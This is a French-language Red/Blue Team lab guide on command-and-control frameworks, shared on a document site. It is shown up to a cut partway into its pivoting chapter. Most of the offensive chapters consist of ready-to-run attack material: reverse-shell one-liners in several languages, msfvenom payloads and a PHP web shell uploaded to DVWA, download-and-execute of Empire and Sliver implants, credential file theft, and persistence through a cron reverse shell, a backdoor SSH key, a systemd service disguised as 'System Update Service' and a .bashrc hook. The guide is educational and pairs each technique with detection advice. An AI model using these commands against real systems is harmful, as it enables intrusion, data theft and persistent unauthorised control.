0% ont trouvé ce document utile (0 vote)
0 vues27 pages

C2 Command Control Lab RedBlueTeam

Ce guide éducatif sur les frameworks C2 en cybersécurité couvre des concepts essentiels tels que l'architecture C2, les différents outils comme Metasploit, Netcat, et PowerShell Empire, ainsi que les techniques de détection pour les équipes Blue Team. Il propose des exercices pratiques dans un environnement isolé, soulignant l'importance de la compréhension des techniques offensives et des contre-mesures défensives. Les utilisateurs sont avertis de ne jamais déployer ces outils sans autorisation écrite.

Transféré par

wilsonlemartinator
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats DOCX, PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
0 vues27 pages

C2 Command Control Lab RedBlueTeam

Ce guide éducatif sur les frameworks C2 en cybersécurité couvre des concepts essentiels tels que l'architecture C2, les différents outils comme Metasploit, Netcat, et PowerShell Empire, ainsi que les techniques de détection pour les équipes Blue Team. Il propose des exercices pratiques dans un environnement isolé, soulignant l'importance de la compréhension des techniques offensives et des contre-mesures défensives. Les utilisateurs sont avertis de ne jamais déployer ces outils sans autorisation écrite.

Transféré par

wilsonlemartinator
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats DOCX, PDF, TXT ou lisez en ligne sur Scribd

COMMAND &

CONTROL
C2 Frameworks en Laboratoire
Red Team & Blue Team | Detection et Defense | Kali Linux Lab Isole

Tous les exercices se deroulent dans un reseau isole Host-Only - AUCUNE


connexion vers Internet

CONTENU DU GUIDE
• Chapitre 1 : Qu'est-ce qu'un framework C2 ? Architecture et concepts
• Chapitre 2 : Metasploit Framework C2 - Usage avance en lab
• Chapitre 3 : Netcat et Socat - C2 manuel minimaliste
• Chapitre 4 : MSFvenom - Generation de payloads personnalises
• Chapitre 5 : PowerShell Empire - C2 post-exploitation Windows
• Chapitre 6 : Covenant - C2 .NET moderne en lab
• Chapitre 7 : Sliver - C2 open-source nouvelle generation
• Chapitre 8 : Communication C2 et techniques d'evasion (concept)
• Chapitre 9 : Blue Team - Detection des C2 (Suricata, Zeek, logs)
• Chapitre 10 : Exercices pratiques complets Red vs Blue en lab
• Annexe : Glossaire C2, matrice MITRE ATT&CK et ressources

AVERTISSEMENT
Les techniques C2 sont au coeur des cyberattaques reelles. Ce guide est strictement educatif :
chaque technique offensive est accompagnee de sa contre-mesure defensive Blue Team. Tout
est a pratiquer exclusivement dans le lab isole [Link]/24. Ne jamais deployer ces outils
sur des systemes sans autorisation ecrite.
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

TABLE DES MATIERES


TOC \h \o "1-3"

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Chapitre 1 : Architecture C2 - Concepts Fondamentaux


Qu'est-ce qu'un C2 (Command & Control) ?
Un framework C2 (Command and Control) est une infrastructure qui permet a un attaquant (ou
un Red Team) de maintenir et controler des connexions avec des systemes compromis. C'est le
cerveau d'une operation de pentest ou d'une vraie cyberattaque. Comprendre les C2 est
ESSENTIEL autant pour l'equipe offensive (Red Team) que pour l'equipe defensive (Blue Team /
SOC).

1.1 Architecture Generale d'un C2


Un framework C2 est compose de trois elements principaux qui interagissent ensemble :

Composant Nom courant Role

Serveur C2 Teamserver / Listener Machine de l'attaquant qui recoit les


connexions, stocke les donnees et envoie les
commandes. Tourne sur Kali dans notre lab.

Agent / Implant Beacon / Payload / Shell Programme installe sur la machine cible
(victime) qui se connecte au serveur C2 et
execute les commandes. Tourne sur
Metasploitable.

Operateur Console / Client Interface graphique ou CLI utilisee par le


pentester pour interagir avec les agents
connectes.

1.2 Types de Canaux de Communication C2


Canal Protocole Caracteristiques

Reverse Shell TCP TCP raw L'agent initie la connexion vers l'attaquant.
Contourne les firewalls entrants. Le plus
simple, mais facilement detecte.

Bind Shell TCP TCP raw L'attaquant se connecte vers l'agent. Bloque
par les firewalls modernes. Rarement utilise.

HTTP/HTTPS HTTP 80/443 Trafic C2 camouffle dans des requetes web.


Difficile a bloquer car HTTP/S est partout.
Tres courant.

DNS Tunneling DNS 53 Commandes encodes dans des requetes


DNS. Ultra-discret car DNS est rarement
filtre/surveille.

ICMP Tunneling ICMP (ping) Commandes dans les paquets ping. Tres
discret, debit faible.

Websockets / WS WS 80/443 Connexion bidirectionnelle persistante via


HTTP. Moderne et discret.

SMB Named Pipes SMB 445 Communication C2 via partages SMB. Tres
utilise dans les reseaux AD.

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

1.3 Cycle de Vie d'une Compromission C2 (Kill Chain)


# Phase Description dans le contexte C2

1 Reconnaissance Identifier les cibles, services ouverts, versions. Nmap,


theHarvester, OSINT.

2 Weaponization Creer le payload (agent C2) adapte a la cible. MSFvenom,


Empire stager, Sliver implant.

3 Delivery Livrer l'agent a la cible. Exploit de service, phishing, upload web


shell.

4 Exploitation L'agent s'execute sur la cible et etablit la connexion vers le


serveur C2.

5 Installation L'agent est installe de maniere persistante (crontab, registre,


service).

6 C2 Communication Canal de communication etabli : l'attaquant envoie des


commandes, la cible repond.

7 Actions on Objectives Privilege escalation, mouvement lateral, exfiltration de donnees,


impact.

1.4 Comparatif des Principaux Frameworks C2 en Lab


Framework Langage Licence Difficulte Points forts

Metasploit MSF Ruby Open- Debutant Le plus complet, documentation


source immense, integre dans Kali

Netcat / Socat C Open- Debutant Minimaliste, toujours disponible,


source excellent pour apprendre les
bases

PowerShell Python/PS Open- Intermedi Post-exploitation Windows et


Empire source aire Linux, agents PowerShell

Covenant .NET/C# Open- Intermedi Interface web moderne,


source aire grunts .NET, excellent pour AD

Sliver Go Open- Intermedi Moderne, multi-protocoles


source aire (HTTP/DNS/mTLS), multiplayer

Havoc C/C++ Open- Avance Alternatif moderne a Cobalt


source Strike, demons Shellcode

Cobalt Strike Java Commercial Avance Standard de l'industrie Red


(6000$) Team, mais payant

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Chapitre 2 : Metasploit Framework - C2 Complet en Lab


Metasploit comme C2
Metasploit est le framework C2 le plus utilise en formation. Meterpreter est son agent C2 le plus
puissant : il s'execute en memoire (fileless), communique via un canal chiffre et offre des
dizaines de fonctionnalites de post-exploitation. Tous les exercices de ce chapitre se font sur Kali
(serveur) -> Metasploitable (cible).

2.1 Configuration du Listener Metasploit (Serveur C2)


Le listener est le composant serveur qui attend les connexions des agents Meterpreter. Il doit etre
lance AVANT le payload.

# === SUR KALI (Serveur C2) ===


# Demarrer Metasploit avec la base de donnees
sudo systemctl start postgresql
msfconsole -q

# Configurer un listener multi-handler (attend n'importe quel payload)


use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST [Link] # IP de Kali dans le lab
set LPORT 4444 # Port d'ecoute
set ExitOnSession false # Continuer a ecouter apres 1ere
session
run -j # Lancer en background (-j)

[*] Exploit running as background job 0.


[*] Started reverse TCP handler on [Link]:4444

# Verifier que le listener est actif


jobs # Lister les jobs actifs
jobs -i 0 # Details du job 0

2.2 Generation et Execution du Payload (Agent C2)


# === SUR KALI - Generer le payload Linux ===
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=[Link] LPORT=4444 \
-f elf -o /tmp/agent_lab.elf
chmod +x /tmp/agent_lab.elf

# Transferer vers Metasploitable via HTTP simple


cd /tmp && python3 -m [Link] 8888 # Serveur HTTP temporaire sur Kali

# === SUR METASPLOITABLE (depuis un shell obtenu precedemment) ===


wget [Link] -O /tmp/agent_lab.elf
chmod +x /tmp/agent_lab.elf
/tmp/agent_lab.elf & # Executer en arriere-plan

# === RETOUR SUR KALI - Session Meterpreter recue ===


[*] Sending stage (3045380 bytes) to [Link]
[*] Meterpreter session 1 opened ([Link]:4444 -> [Link]:49xxx)

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

sessions -l # Lister les sessions C2 actives


sessions -i 1 # Interagir avec la session 1

2.3 Commandes C2 Avancees avec Meterpreter


Systeme et processus
# Informations sur la cible
sysinfo
Computer : metasploitable
OS : Linux metasploitable 2.6.24-16-server
Architecture : x86_64
getuid
Server username: msfadmin
getpid # PID du processus agent
ps # Tous les processus
kill 1234 # Tuer un processus

Systeme de fichiers
pwd && ls -la # Navigation
search -f '*.conf' -d /etc # Chercher des configs
search -f 'password*' -d /home # Chercher des fichiers password
cat /etc/passwd # Lire un fichier
download /etc/shadow /tmp/lab/ # Telecharger vers Kali
upload /tmp/lab/[Link] /tmp/ # Uploader vers la cible

Reseau depuis la cible


ifconfig # Interfaces reseau de la cible
arp # Table ARP (autres hotes vus)
netstat # Connexions reseau actives
portfwd add -l 8080 -p 80 -r [Link] # Redirection de port
# Redirige le port 80 de Metasploitable vers le port 8080 local de Kali

Shell et escalade
shell # Obtenir un shell bash
python3 -c 'import pty; [Link]("/bin/bash")' # Dans le shell, stabiliser
exit # Revenir a Meterpreter

Gestion des sessions multiples


background # Mettre en arriere-plan
sessions -l # Lister toutes les sessions
sessions -i 2 # Passer a la session 2
sessions -K # Tuer toutes les sessions

2.4 Modules de Post-Exploitation C2


Module Metasploit Action C2

post/multi/recon/local_exploit_suggester Suggere automatiquement les exploits de privilege


escalation locaux

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Module Metasploit Action C2

post/linux/gather/hashdump Extrait les hash de /etc/shadow (si root)

post/linux/gather/enum_configs Collecte tous les fichiers de configuration importants

post/linux/gather/enum_network Enumere la configuration reseau complete de la cible

post/linux/gather/enum_system Collecte les infos systeme (OS, users, crons,


services)

post/multi/manage/shell_to_meterpreter Upgrade un shell basique en agent Meterpreter

post/multi/manage/autoroute Configure le routage automatique pour le pivoting

post/linux/manage/sshkey_persistence Ajoute une cle SSH pour persistance

post/multi/gather/env Collecte les variables d'environnement (peut contenir


des secrets)

# Utilisation d'un module post depuis une session active


background # Mettre la session en arriere-plan
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
[*] Running check method for exploit 34 / 34
[+] [Link] - exploit/linux/local/udev_netlink: The target is vulnerable.
[+] [Link] - exploit/linux/local/sock_sendpage: The target is vulnerable.

RED TEAM : Meterpreter C2 persistant BLUE TEAM : Detection du C2 Metasploit


Meterpreter tourne en memoire - aucun fichier Surveiller les connexions TCP sortantes
ecrit sur disque. inhabituelles (port 4444).
Communication chiffree TLS entre agent et Analyser les processus : un ELF inconnu qui fait
serveur. des connexions reseau.
Sessions multiples gerees depuis une seule Suricata/Snort : signatures Metasploit connues.
console. Netflow : pic de trafic TCP chiffre vers une IP
Modules post permettent l'enumeration inconnue.
automatisee complète.

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Chapitre 3 : Netcat et Socat - C2 Manuel Minimaliste


Pourquoi apprendre le C2 minimaliste ?
Avant d'utiliser des frameworks complexes, comprendre le C2 manuel avec netcat permet de
saisir les bases : listener, connexion inverse, bind shell. C'est aussi ce que les pentesters
utilisent quand rien d'autre n'est disponible. Netcat est present sur presque tous les systemes
Unix.

3.1 Reverse Shell Netcat (le plus fondamental)


Un reverse shell inverse la connexion : c'est la cible qui se connecte vers l'attaquant. Cela
contourne les firewalls qui bloquent les connexions entrantes.

# === ETAPE 1 : SUR KALI - Ouvrir un listener netcat ===


nc -lvnp 4444
# -l : mode ecoute | -v : verbeux | -n : pas de DNS | -p : port

# === ETAPE 2 : SUR METASPLOITABLE - Executer le reverse shell ===


# (Depuis un acces initial obtenu : exploit, RCE web, etc.)
bash -i >& /dev/tcp/[Link]/4444 0>&1
# OU avec netcat si disponible :
nc -e /bin/bash [Link] 4444
# OU sans l'option -e (si nc ne l'a pas) :
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [Link]
4444 > /tmp/f

# === RETOUR SUR KALI - Shell recu ===


Connection from [Link]:49201
bash: no job control in this shell
msfadmin@metasploitable:~$

# Stabiliser le shell (le rendre interactif)


python -c 'import pty; [Link]("/bin/bash")'
export TERM=xterm
# Ctrl+Z pour background, puis :
stty raw -echo; fg
# Maintenant le shell est stable avec Tab, fleches, Ctrl+C

3.2 Bind Shell Netcat


Dans un bind shell, l'agent ouvre un port sur la cible et attend que l'attaquant se connecte dessus.

# === SUR METASPLOITABLE - Ouvrir le bind shell ===


nc -lvnp 5555 -e /bin/bash # Attendre une connexion

# === SUR KALI - Se connecter au bind shell ===


nc [Link] 5555 # Se connecter au port ouvert
msfadmin@metasploitable:~$ # Shell obtenu !

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

3.3 Socat - C2 Manuel avec Chiffrement TLS


Socat est la version evoluee de netcat : il supporte TLS, les sockets Unix, IPv6, et permet de creer
des canaux bidirectionnels complexes.

# === Socat simple (sans chiffrement) ===


# Sur Kali (listener) :
socat TCP-LISTEN:4445,reuseaddr,fork STDOUT
# Sur Metasploitable (se connecter) :
socat TCP:[Link]:4445 EXEC:bash,pty,stderr,setsid,sigint,sane

# === Socat avec chiffrement TLS (C2 discret) ===


# Generer un certificat auto-signe sur Kali :
openssl req -newkey rsa:2048 -nodes -keyout [Link] -x509 -days 365 -out
[Link]
cat [Link] [Link] > [Link]

# Listener TLS sur Kali :


socat OPENSSL-LISTEN:443,cert=[Link],verify=0,reuseaddr,fork STDOUT

# Agent TLS sur Metasploitable (le trafic est chiffre !) :


socat OPENSSL:[Link]:443,verify=0
EXEC:bash,pty,stderr,setsid,sigint,sane

# === Port Forwarding avec Socat (pivoting basique) ===


socat TCP-LISTEN:8080,fork TCP:[Link]:80
# Redirige le port 8080 local vers le port 80 de Metasploitable

3.4 Autres One-Liners de Reverse Shell


Ces commandes sont essentielles a connaitre - elles sont utilisees quand on a un RCE sur une
cible et qu'on veut etablir un C2 rapide :
Langage Commande Reverse Shell

Bash bash -i >& /dev/tcp/[Link]/4444 0>&1

Python3 python3 -c 'import


socket,subprocess,os;s=[Link]();[Link](("[Link]",4444));[Link]
p2([Link](),0);os.dup2([Link](),1);os.dup2([Link](),2);[Link](["/bin/
sh","-i"])'

PHP php -r '$sock=fsockopen("[Link]",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl perl -e 'use


Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,soc
kaddr_in(4444,inet_aton("[Link]")));open(STDIN,">&S");open(STDOUT,"
>&S");open(STDERR,">&S");exec("/bin/sh -i");'

Ruby ruby -rsocket -e 'exit if


fork;c=[Link]("[Link]","4444");while(cmd=[Link]);[Link](cmd
,"r"){|io|[Link] [Link]}end'

Java Utiliser msfvenom -p java/jsp_shell_reverse_tcp pour generer un payload JSP

PowerShell $client=New-Object [Link]("[Link]",4444);


$stream=$[Link]();...

Ressource de reference

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

[Link] est un generateur en ligne de reverse shells pour tous les langages. Tre utile
pour le lab. Dans la pratique du pentest en lab, l'utiliser pour generer rapidement le one-liner
adapte a la cible.

RED TEAM : Reverse Shell Detection BLUE TEAM : Detection des Reverse Shells
Un reverse shell bash utilise /dev/tcp qui est une Surveiller les connexions sortantes vers des ports
fonctionnalite native de bash. non-standards (4444, 1234, 5555).
Socat avec TLS camouffle le contenu mais la Alerter sur les processus qui font des connexions
connexion reste visible. reseau : bash, python, perl.
Les reverse shells initialisent une connexion Firewall egress : bloquer les connexions sortantes
sortante TCP vers un port inhabituel. non autorisees.
HIDS (Wazuh) : detecter l'execution de
commandes systeme inhabituelles.

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Chapitre 4 : MSFvenom - Generation de Payloads C2


MSFvenom
MSFvenom est l'outil de Metasploit pour generer des payloads (agents C2) dans de nombreux
formats et pour de nombreuses plateformes. C'est un composant fondamental du workflow Red
Team. Ce chapitre couvre la generation de payloads pour le lab Linux Metasploitable
exclusivement.

4.1 Syntaxe et Options MSFvenom


# Syntaxe generale
msfvenom -p <PAYLOAD> LHOST=<IP_KALI> LPORT=<PORT> -f <FORMAT> -o <FICHIER>

# Lister tous les payloads disponibles


msfvenom -l payloads | grep linux
msfvenom -l payloads | grep windows
msfvenom -l payloads | grep python

# Lister tous les formats de sortie disponibles


msfvenom -l formats

# Voir les options d'un payload specifique


msfvenom -p linux/x64/meterpreter/reverse_tcp --list-options

4.2 Payloads pour le Lab Linux (Metasploitable)


Payload Commande MSFvenom

ELF Linux Meterpreter msfvenom -p linux/x64/meterpreter/reverse_tcp


staged LHOST=[Link] LPORT=4444 -f elf -o [Link]

ELF Linux Meterpreter msfvenom -p linux/x64/meterpreter_reverse_tcp


stageless LHOST=[Link] LPORT=4444 -f elf -o agent_sl.elf

Shell ELF simple msfvenom -p linux/x64/shell/reverse_tcp LHOST=[Link]


LPORT=4444 -f elf -o [Link]

Shell Python msfvenom -p cmd/unix/reverse_python LHOST=[Link]


LPORT=4444 -f raw -o [Link]

Shell Bash msfvenom -p cmd/unix/reverse_bash LHOST=[Link]


LPORT=4444 -f raw -o [Link]

Web Shell PHP msfvenom -p php/meterpreter/reverse_tcp


LHOST=[Link] LPORT=4444 -f raw -o [Link]

Web Shell JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=[Link]


LPORT=4444 -f war -o [Link]

4.3 Payload Staged vs Stageless - Difference Fondamentale


Type Payload Staged Payload Stageless

Notation MSF linux/x64/meterpreter/reverse_tcp linux/x64/meterpreter_reverse_tcp


(un seul /)

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Type Payload Staged Payload Stageless

Taille Petit (quelques Ko) Grand (tout le Meterpreter inclus,


~200Ko+)

Fonctionnement Se connecte au C2 et telecharge le Tout est inclus dans le payload


stage complet initial

Avantage Petit payload initial, facile a passer Fonctionne sans connexion pour le
telechargement du stage

Inconvenient Necessite une connexion vers le C2 Payload plus grand, plus facile a
au lancement detecter

Quand l'utiliser Quand l'acces initial est limite en Quand la connexion au C2 peut etre
taille bloquee

4.4 Exercice Pratique : Payload PHP via Upload Web


Scenario : DVWA est accessible, le niveau de securite est sur 'Low'. On va uploader un web shell
PHP et etablir un canal C2.

# ETAPE 1 : Generer le web shell PHP sur Kali


msfvenom -p php/meterpreter/reverse_tcp \
LHOST=[Link] LPORT=5555 \
-f raw -o /tmp/lab/[Link]

# Ajouter le tag PHP si manquant (verifier le fichier) :


head -1 /tmp/lab/[Link]
# Doit commencer par <?php

# ETAPE 2 : Configurer le listener sur Kali


msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD
php/meterpreter/reverse_tcp; set LHOST [Link]; set LPORT 5555; run -
j'

# ETAPE 3 : Uploader via DVWA (File Upload, niveau Low)


# Navigateur Kali : [Link]
# Choisir [Link] -> Upload -> DVWA l'accepte directement (niveau Low)
# Chemin : /DVWA/hackable/uploads/[Link]

# ETAPE 4 : Declencher le shell via le navigateur


curl [Link]
# Le serveur execute le PHP -> connexion vers Kali sur port 5555

# ETAPE 5 : Session Meterpreter recue sur Kali


[*] Meterpreter session 1 opened ([Link]:5555 -> [Link]:...)
sessions -i 1
sysinfo && getuid

Resultat attendu
Une session Meterpreter via PHP est etablie sur le serveur DVWA. Le canal C2 passe par le port
HTTP 5555 deguise en connexion web. L'agent tourne avec les permissions du serveur web
Apache (www-data).

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Chapitre 5 : PowerShell Empire - C2 Post-Exploitation


PowerShell Empire
Empire est un framework C2 post-exploitation qui utilise des agents PowerShell (pour Windows)
et Python (pour Linux/macOS). Il est tres utilise en formation car il illustre parfaitement les
techniques Living off the Land (LotL) : utiliser des outils natifs du systeme pour eviter la detection.
Dans le lab, on l'utilise pour la cible Linux.

5.1 Installation d'Empire sur Kali


# Empire est parfois pre-installe, sinon :
sudo apt install powershell-empire -y
# OU depuis GitHub :
git clone [Link] /opt/Empire
cd /opt/Empire && sudo ./setup/[Link]

# Lancer Empire (serveur + client dans deux terminaux)


# Terminal 1 - Serveur Empire :
sudo powershell-empire server
# Terminal 2 - Client Empire :
powershell-empire client

5.2 Configuration d'un Listener Empire


# Dans la console Empire (client) :
listeners # Voir les listeners disponibles
uselistener http # Utiliser un listener HTTP
info # Voir toutes les options

# Configurer le listener HTTP


set Host [Link] # Adresse du C2
set Port 8080 # Port d'ecoute
set Name lab_http # Nom du listener
execute # Demarrer le listener
[*] Starting listener 'lab_http'
[+] Listener successfully started!

listeners # Verifier que le listener est


actif

5.3 Generation d'un Stager (Agent) Empire


# Dans Empire : generer un stager bash pour Linux
usestager multi/bash # Stager bash multi-plateforme
set Listener lab_http # Lier au listener configure
set OutFile /tmp/lab/empire_stager.sh # Sauvegarder le stager
execute # Generer le stager

# Contenu du stager (exemple) - un one-liner bash encode


[*] Stager output written out to: /tmp/lab/empire_stager.sh

# Transferer et executer sur Metasploitable (depuis shell initial) :


# Sur Kali - servir le stager :

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

python3 -m [Link] 9090 --directory /tmp/lab/


# Sur Metasploitable - telecharger et executer :
wget [Link] -O /tmp/[Link] && bash
/tmp/[Link]

# Sur Empire : agent recu !


[*] Sending agent (stage 2) to Agent ABCD1234 at [Link]
[+] Initial agent ABCD1234 from [Link] now active

5.4 Commandes Empire sur l'Agent Linux


# Interagir avec l'agent
agents # Lister les agents connectes
interact ABCD1234 # Interagir avec l'agent

# Commandes de base
shell id # Executer une commande
uid=1000(msfadmin) gid=1000(msfadmin)
shell cat /etc/passwd
shell ifconfig
shell find /home -name '*.txt' 2>/dev/null

# Modules Empire
usemodule situational_awareness/host/linux/get_system # Infos systeme
usemodule collection/linux/pillage_user # Collecte fichiers
user
usemodule privesc/linux/unix_privesc_check # Privilege
escalation
execute

RED TEAM : Agents Empire HTTP BLUE TEAM : Detection Empire / C2 HTTP
Les agents Empire utilisent HTTP pour camoufler Analyser les requetes HTTP suspectes : user-
le C2 dans du trafic web leger. agent generique, URI aleatoire.
Le trafic ressemble a des requetes HTTP Suricata : regle pour detecter les patterns de
normales vers un 'serveur web'. beacon Empire.
Empire chiffre les communications avec des cles Zeek (Bro) : analyser les intervalles de connexion
RSA dynamiques. periodiques (jitter C2).
Blocage DNS : empecher la resolution de
domaines C2 inconnus.

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Chapitre 6 : Sliver - C2 Open-Source Moderne


Pourquoi Sliver ?
Sliver est un framework C2 moderne developpe par BishopFox en Go. Il supporte nativement les
canaux mTLS, HTTP/S, DNS et WireGuard. Ses implants sont compiles en Go - difficiles a
analyser et multiplateformes. C'est l'une des alternatives open-source les plus utilisees en Red
Team professionnel.

6.1 Installation de Sliver sur Kali


# Installation automatique
curl [Link] | sudo bash

# OU installation manuelle
wget [Link]
server_linux -O /usr/local/bin/sliver-server
chmod +x /usr/local/bin/sliver-server

# Lancer le serveur Sliver


sudo sliver-server
[*] Starting gRPC listener on 31337
[*] Loaded 63 aliases from disk
[*] Loaded 90 extensions from disk
sliver >

6.2 Creer un Listener et Generer un Implant


# Dans la console Sliver
# Configurer un listener mTLS (TCP chiffre mutuel)
mtls # Demarrer listener mTLS par
defaut
[*] Starting mTLS listener ...
[*] Successfully started job #1

# OU listener HTTP (port 8080) - plus discret


http -l 8080 # Listener HTTP sur port 8080

# Generer un implant Linux (sessionnel)


generate --mtls [Link] --os linux --arch amd64 --format elf --save
/tmp/lab/sliver_implant
[*] Generating new linux/amd64 implant binary
[*] Build completed in 00:00:45
[*] Implant saved to /tmp/lab/sliver_implant

# Generer un implant avec HTTP (trafic camouffle)


generate --http [Link]:8080 --os linux --arch amd64 --format elf --
save /tmp/lab/sliver_http

# Generer un implant beacon (se connecte periodiquement au lieu de rester


connecte)
generate beacon --http [Link]:8080 --beacons --os linux --arch amd64
--format elf --save /tmp/lab/sliver_beacon
# Un beacon se connecte toutes les X secondes/minutes - plus discret

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

6.3 Interaction avec l'Implant Sliver


# Executer l'implant sur Metasploitable (via shell initial)
# Transferer depuis Kali :
scp /tmp/lab/sliver_implant msfadmin@[Link]:/tmp/
# OU via HTTP :
wget [Link] -O /tmp/sliver_implant &&
chmod +x /tmp/sliver_implant && /tmp/sliver_implant &

# Retour sur Sliver - session recue


[*] Session AUTUMN_FOX - [Link]:49xxx (metasploitable) - linux/amd64

# Interagir avec la session


sessions # Lister les sessions
use AUTUMN_FOX # Selectionner la session

# Commandes Sliver
info # Infos sur l'implant
whoami # Utilisateur courant
ps # Processus
ls /etc # Lister des fichiers
download /etc/passwd # Telecharger un fichier
upload /tmp/lab/[Link] /tmp/ # Uploader
execute -o id # Executer une commande
shell # Shell interactif
portfwd add -r [Link]:22 -b [Link]:2222 # Redirection de port

# Extensions et modules Sliver


armory # Voir les extensions disponibles
armory install all # Installer toutes les extensions

RED TEAM : Sliver - Implants mTLS/HTTP BLUE TEAM : Detection des Implants Go
Les implants Go compilent en statique : pas de Analyser les binaires suspects : file, strings, ldd
dependances externes. pour identifier les ELF suspects.
mTLS : certificats mutuels, le trafic est Les implants Go ont une empreinte memoire
indechiffrable sans la cle privee. distinctive (runtime Go).
Le mode beacon limite les connexions reseau, Netflow : connexions regulieres vers la meme IP
tres difficile a detecter. externe (pattern beacon).
Les noms d'implants sont generes aleatoirement Surveiller les processus enfants d'Apache, PHP,
(AUTUMN_FOX, etc.). etc. qui font des connexions reseau.

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Chapitre 7 : Persistance du C2 - Maintenir l'Acces


Contexte
La persistance simule comment un attaquant reel s'assure que son acces C2 survit au
redemarrage de la machine cible. En lab, on pratique ces techniques sur Metasploitable pour les
comprendre et savoir comment les detecter et les eliminer. Toujours restaurer le snapshot apres
l'exercice.

7.1 Methodes de Persistance Linux


Methode 1 : Crontab
# Sur Metasploitable (en tant que root via Meterpreter/shell) :
# Verifier le crontab actuel
crontab -l
# Ajouter une tache qui relance le reverse shell toutes les 5 minutes
(crontab -l 2>/dev/null; echo '*/5 * * * * bash -i >&
/dev/tcp/[Link]/6666 0>&1') | crontab -
# Sur Kali : listener en attente
nc -lvnp 6666
# Toutes les 5 min, une connexion entrante sur le listener Kali

Methode 2 : Cle SSH Autorisee


# Generer une cle SSH sur Kali
ssh-keygen -t ed25519 -f /tmp/lab/backdoor_key -N ''
# Sur Metasploitable (via shell C2) - installer la cle publique
mkdir -p /root/.ssh && chmod 700 /root/.ssh
echo '<CONTENU_backdoor_key.pub>' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Sur Kali - connexion SSH directe sans mot de passe (acces persistant !)
ssh -i /tmp/lab/backdoor_key root@[Link]

Methode 3 : Service systemd


# Creer un faux service systemd (necessite root)
# Sur Metasploitable :
cat > /etc/systemd/system/[Link] << EOF
[Unit]
Description=System Update Service
After=[Link]
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/[Link]/6667 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=[Link]
EOF
systemctl enable update-service && systemctl start update-service

Methode 4 : Modification .bashrc/.profile


# Ajouter une ligne dans le .bashrc de l'utilisateur
echo 'nohup bash -i >& /dev/tcp/[Link]/6668 0>&1 &' >>
/home/msfadmin/.bashrc

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

# Se declenche a chaque ouverture de terminal par msfadmin

RED TEAM : Techniques de persistance BLUE TEAM : Detection et elimination de la


Crontab : difficile a detecter, redemarrage persistance
automatique. Auditer le crontab regulierement : crontab -l &&
Cle SSH : acces silencieux, aucune cat /etc/cron*
authentification par mdp. Surveiller les fichiers authorized_keys : find /home
Service systemd : survit aux redemarrages, se -name authorized_keys
relance automatiquement. Lister et auditer les services : systemctl list-units
Les 4 methodes n'ecrivent rien de suspect aux --type=service
yeux d'un admin non vigilant. AIDE/Tripwire : alerte sur toute modification
de .bashrc, .profile, crontab
Rkhunter pour detecter les backdoors et rootkits
installes

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Chapitre 8 : Pivoting - Atteindre des Reseaux Internes


via C2
Concept de Pivoting
Le pivoting consiste a utiliser une machine compromise comme relais pour atteindre d'autres
